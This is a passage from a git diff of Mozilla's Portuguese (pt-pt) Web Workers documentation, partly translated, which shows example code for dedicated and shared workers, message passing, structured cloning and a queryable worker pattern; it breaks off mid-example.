+<script type="text/javascript">
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+  function pageLog(sMsg) {
+    // Use a fragment: browser will only render/reflow once.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement('br'));
+    document.querySelector('#logDisplay').appendChild(oFragm);
+  }
+</script>
+<script type="text/js-worker">
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  onmessage = function(oEvent) {
+    postMessage(myVar);
+  };
+  // Rest of your worker code goes here.
+</script>
+<script type="text/javascript">
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+
+  // In the past...:
+  // blob builder existed
+  // ...but now we use Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
+
+  // Creating a new document.worker property containing all our "text/js-worker" scripts.
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function(oEvent) {
+    pageLog('Received: ' + oEvent.data);
+  };
+
+  // Start the worker.
+  window.onload = function() { document.worker.postMessage(''); };
+</script>
+</head>
+<body><div id="logDisplay"></div></body>
+</html>
+ +

The embedded worker is now nested into a new custom document.worker property.

+ +

It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:

+ +
function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}
+ +

Exemplos adicionais

+ +

This section provides further examples of how to use web workers.

+ +

Realizar computações em segundo plano

+ +

Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.

+ +

O código de JavaScript

+ +

The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.

+ +
var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i <= 2; i++) {
+    var worker = new Worker('fibonacci.js');
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };
+ +

The worker sets the property onmessage to a function which will receive messages sent when the worker object's postMessage() is called (note that this differs from defining a global variable of that name, or defining a function with that name. var onmessage and function onmessage will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.

+ +

O código de HTML

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8"  />
+    <title>Test threads fibonacci</title>
+  </head>
+  <body>
+
+  <div id="result"></div>
+
+  <script language="javascript">
+
+    var worker = new Worker('fibonacci.js');
+
+    worker.onmessage = function(event) {
+      document.getElementById('result').textContent = event.data;
+      dump('Got: ' + event.data + '\n');
+    };
+
+    worker.onerror = function(error) {
+      dump('Worker error: ' + error.message + '\n');
+      throw error;
+    };
+
+    worker.postMessage('5');
+
+  </script>
+  </body>
+</html>
+
+ +

The web page creates a div element with the ID result , which gets used to display the result, then spawns the worker. After spawning the worker, the onmessage handler is configured to display the results by setting the contents of the div element, and the onerror handler is set to dump the error message.

+ +

Finally, a message is sent to the worker to start it.

+ +

Try this example.

+ +

Executar I/O da Web em segundo plano

+ +

You can find an example of this in the article Using workers in extensions .

+ +

Dividir tarefas entre mútiplos workers

+ +

As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.

+ +

Outros tipos de worker

+ +

In addition to dedicated and shared web workers, there are other types of worker available:

+ + + +

Funções e interfaces disponíveis nos workers

+ +

You can use most standard JavaScript features inside a web worker, including:

+ + + +

The main thing you can't do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.

+ +
+

Note: For a complete list of functions available to workers, see Functions and interfaces available to workers.

+
+ +

Especificações

+ + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilidade de navegador

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2]
Shared workers4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
+ {{CompatNo}} 6.1[4]
Passing data using structured cloning13{{CompatGeckoDesktop(8)}}10.011.56
Passing data using transferable objects17 {{property_prefix("webkit")}}
+ 21
{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Global {{domxref("window.URL", "URL")}}10[3]
+ 23
{{CompatGeckoDesktop(21)}}11156[3]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44[1]3.51.0.110.011.5[1]5.1[2]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using structured cloning{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using transferable objects{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Chrome and Opera give an error "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." when you try to run a worker locally. It needs to be on a proper domain.

+ +

[2] As of Safari 7.1.2, you can call console.log from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call console.log from inside a worker.

+ +

[3] This feature is implemented prefixed as webkitURL.

+ +

[4] Safari removed SharedWorker support.

+ +

Consultar também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/web_workers_api/utilizacao_de_web_workers/index.html b/files/pt-pt/web/api/web_workers_api/utilizacao_de_web_workers/index.html deleted file mode 100644 index d9705559e7..0000000000 --- a/files/pt-pt/web/api/web_workers_api/utilizacao_de_web_workers/index.html +++ /dev/null @@ -1,1091 +0,0 @@ ---- -title: Utilização de Web Workers -slug: Web/API/Web_Workers_API/Utilizacao_de_web_workers -tags: - - Avançado - - Firefox - - Guía - - JavaScript - - Operadores - - Workers -translation_of: Web/API/Web_Workers_API/Using_web_workers ---- -
-

Web Workers é um meio simples para o conteúdo da Web para executar scripts em segmentos em segundo plano. O segmento do worker pode realizar tarefas sem interferir com a interface do utilizador. Em adição, eles podem executar I/O, utilizando XMLHttpRequest (embora e responseXML e os atributos de channel são sempre nulos). Uma vez criado, um worker pode enviar mensagens para o código JavaScript que o criou publicando mensagens para um manipulador de evento especificado por esse código (e vice-versa.) Este artigo fornece uma introdução detalhada para utilizar workers da Web.

-
- -

API de Workers da Web

- -

A worker is an object created using a constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. Thus, using the {{domxref("window")}} shortcut to get the current global scope (instead of {{domxref("window.self","self")}}) within a {{domxref("Worker")}} will return an error.

- -

The worker context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}). A dedicated worker is only accessible from the script that first spawned it, whereas shared workers can be accessed from multiple scripts.

- -
-

Nota: See The Web Workers API landing page for reference documentation on workers and additional guides.

-
- -

You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under window, including WebSockets, and data storage mechanisms like IndexedDB and the Firefox OS-only Data Store API. See Functions and classes available to workers for more details.

- -

Data is sent between workers and the main thread via a system of messages — both sides send their messages using the postMessage() method, and respond to messages via the onmessage event handler (the message is contained within the {{event("Message")}} event's data attribute.) The data is copied rather than shared.

- -

Workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. In addition, workers may use XMLHttpRequest for network I/O, with the exception that the responseXML and channel attributes on XMLHttpRequest always return null.

- -

Workers dedicados

- -

As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our Basic dedicated worker example (run dedicated worker): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.

- -

This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.

- -

Detecção da funcionalidade worker

- -

For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js):

- -
if (window.Worker) {
-
-  ...
-
-}
- -

Geração de um worker dedicado

- -

Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (main.js):

- -
-
var myWorker = new Worker('worker.js');
-
-
- -

Enviar mensagens para /e de um worker dedicado

- -

The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (main.js):

- -
first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
-
-second.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
- -

So here we have two {{htmlelement("input")}} elements represented by the variables first and second; when the value of either is changed, myWorker.postMessage([first.value,second.value]) is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.

- -

In the worker, we can respond when the message is received by writing an event handler block like this (worker.js):

- -
onmessage = function(e) {
-  console.log('Message received from main script');
-  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-  console.log('Posting message back to main script');
-  postMessage(workerResult);
-}
- -

The onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute. Here we simply multiply together the two numbers then use postMessage() again, to post the result back to the main thread.

- -

Back in the main thread, we use onmessage again, to respond to the message sent back from the worker:

- -
myWorker.onmessage = function(e) {
-  result.textContent = e.data;
-  console.log('Message received from worker');
-}
- -

Here we grab the message event data and set it as the textContent of the result paragraph, so the user can see the result of the calculation.

- -
-

Nota: The URI passed as a parameter to the Worker constructor must obey the same-origin policy .

- -

There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.

-
- -
Nota: Notice that onmessage and postMessage() need to be hung off the Worker object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.
- -
Nota: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.
- -

Terminar um worker

- -

If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:

- -
myWorker.terminate();
- -

The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.

- -

In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:

- -
close();
- -

Lidar com erros

- -

When a runtime error occurs in the worker, its onerror event handler is called. It receives an event named error which implements the ErrorEvent interface.

- -

The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's preventDefault() method.

- -

The error event has the following three fields that are of interest:

- -
-
message
-
A human-readable error message.
-
filename
-
The name of the script file in which the error occurred.
-
lineno
-
The line number of the script file on which the error occurred.
-
- -

Gerar subworkers

- -

Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.

- -

Importar scripts e bibliotecas

- -

Worker threads have access to a global function, importScripts(), which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:

- -
importScripts();                         /* imports nothing */
-importScripts('foo.js');                 /* imports just "foo.js" */
-importScripts('foo.js', 'bar.js');       /* imports two scripts */
-importScripts('//example.com/hello.js'); /* You can import scripts from other origins */
- -

The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, NETWORK_ERROR is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations after the importScripts() method are also kept, since these are always evaluated before the rest of the code.

- -
Note: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into importScripts() . This is done synchronously; importScripts() does not return until all the scripts have been loaded and executed.
- -

Shared workers (Partilhados)

- -

A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our Basic shared worker example (run shared worker): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: multiplying two numbers, or squaring a number. Both scripts use the same worker to do the actual calculation required.

- -

Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.

- -
-

Nota: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).

-
- -
-

Nota: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).

-
- -

Gerar um shared worker

- -

Spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following:

- -
var myWorker = new SharedWorker('worker.js');
- -

One big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).

- -

The port connection needs to be started either implicitly by use of the onmessage event handler or explicitly with the start() method before any messages can be posted. Although the multiply.js and worker.js files in the demo currently call the start() method, those calls are not necessary since the onmessage event handler is being used. Calling start() is only needed if the message event is wired up via the addEventListener() method.

- -

When using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.

- -
myWorker.port.start();  // called in parent thread
- -
port.start();  // called in worker thread, assuming the port variable references a port
- -

Enviar mensagens para/e de um shared worker

- -

Now messages can be sent to the worker as before, but the postMessage() method has to be invoked through the port object (again, you'll see similar constructs in both multiply.js and square.js):

- -
squareNumber.onchange = function() {
-  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
-  console.log('Message posted to worker');
-}
- -

Now, on to the worker. There is a bit more complexity here as well (worker.js):

- -
onconnect = function(e) {
-  var port = e.ports[0];
-
-  port.onmessage = function(e) {
-    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-    port.postMessage(workerResult);
-  }
-}
- -

First, we use an onconnect handler to fire code when a connection to the port happens (i.e. when the onmessage event handler in the parent thread is setup, or when the start() method is explicitly called in the parent thread).

- -

We use the ports attribute of this event object to grab the port and store it in a variable.

- -

Next, we add a message handler on the port to do the calculation and return the result to the main thread. Setting up this message handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to port.start() is not actually needed, as noted above.

- -

Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both multiply.js and square.js):

- -
myWorker.port.onmessage = function(e) {
-  result2.textContent = e.data;
-  console.log('Message received from worker');
-}
- -

When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.

- -

Sobre a segurança de segmento

- -

The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.

- -

However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.

- -

An example of a catastrophy would be like the following:

- -

Conteúdo HTML

- -
<html>
-<head>
-<title>Multithreading Catastrophy</title>
-<style>
-body { margin: 0px; }
-canvas { position: absolute; top: 0; bottom: 0; left: 0; right:0; width: 100%; height: 100%; }
-</style>
-<script src="main.js" async></script>
-</head>
-<body>
-<canvas id="canvas"></canvas>
-</body>
-</html>
- -

Conteúdo main.js

- -
// main.js
-var myworker = new Worker("worker.js"), width=window.innerWidth, height=window.innerHeight, context=document.getElementById('canvas').getContext('2d');
-var imagedatatmp=context.createImageData(width,height);
-
-myworker.onmessage = function(data){
-    imageData = imagedatatmp.from(data);
-};
-
-setTimeout(function draw_canvas() {
-    context.putImageData(imageData);
-    setTimeout(draw_canvas, 1000/60);
-},10);
-
-window.onresize = window.reload; // Quick (to type) n' dirty way to resize;
- -

Conteúdo worker.js

- -
// worker.js
-window.onmessage = function(width, height){
-var noise = function(x, y, z) {
-    var p = new Array(512), permutation = [151,160,137,91,90,15,131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10,23,190, 6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,88,237,149,56,87,174,20,125,136,171,168, 68,175,74,165,71,134,139,48,27,166,77,146,158,231,83,111,229,122,60,211,133,230,220,105,92,41,55,46,245,40,244,102,143,54, 65,25,63,161, 1,216,80,73,209,76,132,187,208, 89,18,169,200,196,135,130,116,188,159,86,164,100,109,198,173,186, 3,64,52,217,226,250,124,123,5,202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,223,183,170,213,119,248,152, 2,44,154,163, 70,221,153,101,155,167, 43,172,9,129,22,39,253, 19,98,108,110,79,113,224,232,178,185, 112,104,218,246,97,228,251,34,242,193,238,210,144,12,191,179,162,241, 81,51,145,235,249,14,239,107,49,192,214, 31,181,199,106,157,184, 84,204,176,115,121,50,45,127, 4,150,254,138,236,205,93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180];
-    for (var i = 0;i < 256;i++) p[256 + i] = p[i] = permutation[i];
-    var X = Math.floor(x) & 255, Y = Math.floor(y) & 255, Z = Math.floor(z) & 255; x -= Math.floor(x), y -= Math.floor(y), z -= Math.floor(z);
-    var u = fade(x), v = fade(y), w = fade(z);
-    var A = p[X] + Y, AA = p[A] + Z, AB = p[A + 1] + Z, B = p[X + 1] + Y, BA = p[B] + Z, BB = p[B + 1] + Z;
-    return scale(lerp(w, lerp(v, lerp(u, grad(p[AA], x, y, z), grad(p[BA], x - 1, y, z)), lerp(u, grad(p[AB], x, y - 1, z), grad(p[BB], x - 1, y - 1, z))), lerp(v, lerp(u, grad(p[AA + 1], x, y, z - 1), grad(p[BA + 1], x - 1, y, z - 1)), lerp(u, grad(p[AB + 1], x, y - 1, z - 1), grad(p[BB + 1], x - 1, y - 1, z - 1)))));
-};
-  function fade(t) { return t * t * t * (t * (t * 6 - 15) + 10); }
-  function lerp(t, a, b) { return a + t * (b - a); }
-  function grad(hash, x, y, z) {
-    var h = hash & 15; var u = h < 8 ? x : y, v = h < 4 ? y : h == 12 || h == 14 ? x : z;
-    return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
-  }
-  function scale(n) { return (1 + n) / 2; }
-var length = width*height; var canvasnoisedata=new UInt32Array(length);
-
-setTimeout(function make_noise() {
-var i=length, z=Math.random()*1024;
-  while ( i-- ) {
-      canvasnoisedata[i] = noise(i%width+z,i/width+z,z);
-  }
-  setTimeout(make_noise, 1000/60);
-},1000/60);
-
-setTimeout(function post_noise() {
-    postMessage( canvasnoisedata );
-    setTimeout(post_noise, 1000/60);
-},1000/60);
-};
-
- -

Resultado

- -

{{ EmbedLiveSample('ats.html') }}

- -

Política de segurança de conteúdo

- -

Workers are considered to have their own execution context, distinct from the document that created them. For this reason they are, in general, not governed by the content security policy of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:

- -
Content-Security-Policy: script-src 'self'
- -
Among other things, this will prevent any scripts it includes from using eval(). However, if the script constructs a worker, code running in the worker's context will be allowed to use eval().
-
-To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which delivered the worker script itself.
-
-The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker that created it.
- -
 
- -

Transferir dados para/e de workers: detalhes adicionais

- -

Data passed between the main page and workers is copied, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker do not share the same instance, so the end result is that a duplicate is created on each end. Most browsers implement this feature as structured cloning.

- -

To illustrate this, let's create for didactical purpose a function named emulateMessage(), which will simulate the behavior of a value that is cloned and not shared during the passage from a worker to the main page or vice versa:

- -
function emulateMessage(vVal) {
-    return eval('(' + JSON.stringify(vVal) + ')');
-}
-
-// Tests
-
-// test #1
-var example1 = new Number(3);
-console.log(typeof example1); // object
-console.log(typeof emulateMessage(example1)); // number
-
-// test #2
-var example2 = true;
-console.log(typeof example2); // boolean
-console.log(typeof emulateMessage(example2)); // boolean
-
-// test #3
-var example3 = new String('Hello World');
-console.log(typeof example3); // object
-console.log(typeof emulateMessage(example3)); // string
-
-// test #4
-var example4 = {
-    'name': 'John Smith',
-    "age": 43
-};
-console.log(typeof example4); // object
-console.log(typeof emulateMessage(example4)); // object
-
-// test #5
-function Animal(sType, nAge) {
-    this.type = sType;
-    this.age = nAge;
-}
-var example5 = new Animal('Cat', 3);
-alert(example5.constructor); // Animal
-alert(emulateMessage(example5).constructor); // Object
- -

A value that is cloned and not shared is called message. As you will probably know by now, messages can be sent to and from the main thread by using postMessage(), and the message event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.

- -

example.html: (a página principal):

- -
var myWorker = new Worker('my_task.js');
-
-myWorker.onmessage = function(oEvent) {
-  console.log('Worker said : ' + oEvent.data);
-};
-
-myWorker.postMessage('ali');
- -

my_task.js (o worker):

- -
postMessage("I\'m working before postMessage(\'ali\').");
-
-onmessage = function(oEvent) {
-  postMessage('Hi ' + oEvent.data);
-};
- -

The structured cloning algorithm can accept JSON and a few things that JSON can't — like circular references.

- -

Passagem de exemplos de dados

- -

Exemplo #1: Criar um genérico "assíncrono eval()"

- -

The following example shows how to use a worker in order to asynchronously execute any JavaScript code allowed in a worker, through eval() within the worker:

- -
// Syntax: asyncEval(code[, listener])
-
-var asyncEval = (function () {
-  var aListeners = [], oParser = new Worker('data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D');
-
-  oParser.onmessage = function(oEvent) {
-    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
-    delete aListeners[oEvent.data.id];
-  };
-
-  return function(sCode, fListener) {
-    aListeners.push(fListener || null);
-    oParser.postMessage({
-      'id': aListeners.length - 1,
-      'code': sCode
-    });
-  };
-})();
- -

The data URL is equivalent to a network request, with the following response:

- -
onmessage = function(oEvent) {
-  postMessage({
-    'id': oEvent.data.id,
-    'evaluated': eval(oEvent.data.code)
-  });
-}
- -

Amostra de utilização:

- -
// asynchronous alert message...
-asyncEval('3 + 2', function(sMessage) {
-    alert('3 + 2 = ' + sMessage);
-});
-
-// asynchronous print message...
-asyncEval("\"Hello World!!!\"", function(sHTML) {
-    document.body.appendChild(document.createTextNode(sHTML));
-});
-
-// asynchronous void...
-asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
- -

Exemplo #2: Passagem avançada da 'Dados' JSON e criar um sistema de troca

- -

If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.

- -

First, we create a QueryableWorker class that takes the url of the worker, a default listener, and an error handler, and this class is going to keep track of a list of listeners and help us communicate with the worker:

- -
function QueryableWorker(url, defaultListener, onError) {
-    var instance = this,
-        worker = new Worker(url),
-        listeners = {};
-
-    this.defaultListener = defaultListener || function() {};
-
-    if (onError) {worker.onerror = onError;}
-
-    this.postMessage = function(message) {
-        worker.postMessage(message);
-    }
-
-    this.terminate = function() {
-        worker.terminate();
-    }
-}
- -

Then we add the methods of adding/removing listeners:

- -
this.addListeners = function(name, listener) {
-    listeners[name] = listener;
-}
-
-this.removeListeners = function(name) {
-    delete listeners[name];
-}
- -

Here we let the worker handle two simple operations for illustration: getting the difference of two numbers and making an alert after three seconds. In order to achieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.

- -
/*
-  This functions takes at least one argument, the method name we want to query.
-  Then we can pass in the arguments that the method needs.
- */
-this.sendQuery = function() {
-    if (arguments.length < 1) {
-         throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
-         return;
-    }
-    worker.postMessage({
-        'queryMethod': arguments[0],
-        'queryArguments': Array.prototype.slice.call(arguments, 1)
-    });
-}
- -

We finish QueryableWorker with the onmessage method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in listeners.:

- -
worker.onmessage = function(event) {
-    if (event.data instanceof Object &&
-        event.data.hasOwnProperty('queryMethodListener') &&
-        event.data.hasOwnProperty('queryMethodArguments')) {
-        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
-    } else {
-        this.defaultListener.call(instance, event.data);
-    }
-}
-
- -

Now onto the worker.  First we need to have the methods to handle the two simple operations:

- -
var queryableFunctions = {
-    getDifference: function(a, b) {
-        reply('printStuff', a - b);
-    },
-    waitSomeTime: function() {
-        setTimeout(function() {
-            reply('doAlert', 3, 'seconds');
-        }, 3000);
-    }
-}
-
-function reply() {
-    if (arguments.length < 1) {
-        throw new TypeError('reply - takes at least one argument');
-        return;
-    }
-    postMessage({
-        queryMethodListener: arguments[0],
-        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
-    });
-}
-
-/* This method is called when main page calls QueryWorker's postMessage method directly*/
-function defaultReply(message) {
-    // do something
-}
-
- -

And the onmessage method is now trivial:

- -
onmessage = function(event) {
-    if (event.data instanceof Object &&
-        event.data.hasOwnProperty('queryMethod') &&
-        event.data.hasOwnProperty('queryMethodArguments')) {
-        queryableFunctions[event.data.queryMethod]
-            .apply(self, event.data.queryMethodArguments);
-    } else {
-        defaultReply(event.data);
-    }
-}
-
- -

Here are the full implementation:

- -

example.html (the main page):

- -
<!doctype html>
-  <html>
-    <head>
-      <meta charset="UTF-8"  />
-      <title>MDN Example - Queryable worker</title>
-    <script type="text/javascript">
-    /*
-      QueryableWorker instances methods:
-        * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
-        * postMessage(string or JSON Data): see Worker.prototype.postMessage()
-        * terminate(): terminates the Worker
-        * addListener(name, function): adds a listener
-        * removeListener(name): removes a listener
-      QueryableWorker instances properties:
-        * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
-     */
-    function QueryableWorker(url, defaultListener, onError) {
-      var instance = this,
-      worker = new Worker(url),
-      listeners = {};
-
-      this.defaultListener = defaultListener || function() {};
-
-      if (onError) {worker.onerror = onError;}
-
-      this.postMessage = function(message) {
-        worker.postMessage(message);
-      }
-
-      this.terminate = function() {
-        worker.terminate();
-      }
-
-      this.addListener = function(name, listener) {
-        listeners[name] = listener;
-      }
-
-      this.removeListener = function(name) {
-        delete listeners[name];
-      }
-
-      /*
-        This functions takes at least one argument, the method name we want to query.
-        Then we can pass in the arguments that the method needs.
-      */
-      this.sendQuery = function() {
-        if (arguments.length < 1) {
-          throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
-          return;
-        }
-        worker.postMessage({
-          'queryMethod': arguments[0],
-          'queryMethodArguments': Array.prototype.slice.call(arguments, 1)
-        });
-      }
-
-      worker.onmessage = function(event) {
-        if (event.data instanceof Object &&
-          event.data.hasOwnProperty('queryMethodListener') &&
-          event.data.hasOwnProperty('queryMethodArguments')) {
-          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
-        } else {
-          this.defaultListener.call(instance, event.data);
-        }
-      }
-    }
-
-    // your custom "queryable" worker
-    var myTask = new QueryableWorker('my_task.js');
-
-    // your custom "listeners"
-    myTask.addListener('printStuff', function (result) {
-      document.getElementById('firstLink').parentNode.appendChild(document.createTextNode('The difference is ' + result + '!'));
-    });
-
-    myTask.addListener('doAlert', function (time, unit) {
-      alert('Worker waited for ' + time + ' ' + unit + ' :-)');
-    });
-</script>
-</head>
-<body>
-  <ul>
-    <li><a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
-    <li><a href="javascript:myTask.sendQuery('waitSomeTime');">Wait 3 seconds</a></li>
-    <li><a href="javascript:myTask.terminate();">terminate() the Worker</a></li>
-  </ul>
-</body>
-</html>
- -

my_task.js (o worker):

- -
var queryableFunctions = {
-  // example #1: get the difference between two numbers:
-  getDifference: function(nMinuend, nSubtrahend) {
-      reply('printStuff', nMinuend - nSubtrahend);
-  },
-  // example #2: wait three seconds
-  waitSomeTime: function() {
-      setTimeout(function() { reply('doAlert', 3, 'seconds'); }, 3000);
-  }
-};
-
-// system functions
-
-function defaultReply(message) {
-  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
-  // do something
-}
-
-function reply() {
-  if (arguments.length < 1) { throw new TypeError('reply - not enough arguments'); return; }
-  postMessage({ 'queryMethodListener': arguments[0], 'queryMethodArguments': Array.prototype.slice.call(arguments, 1) });
-}
-
-onmessage = function(oEvent) {
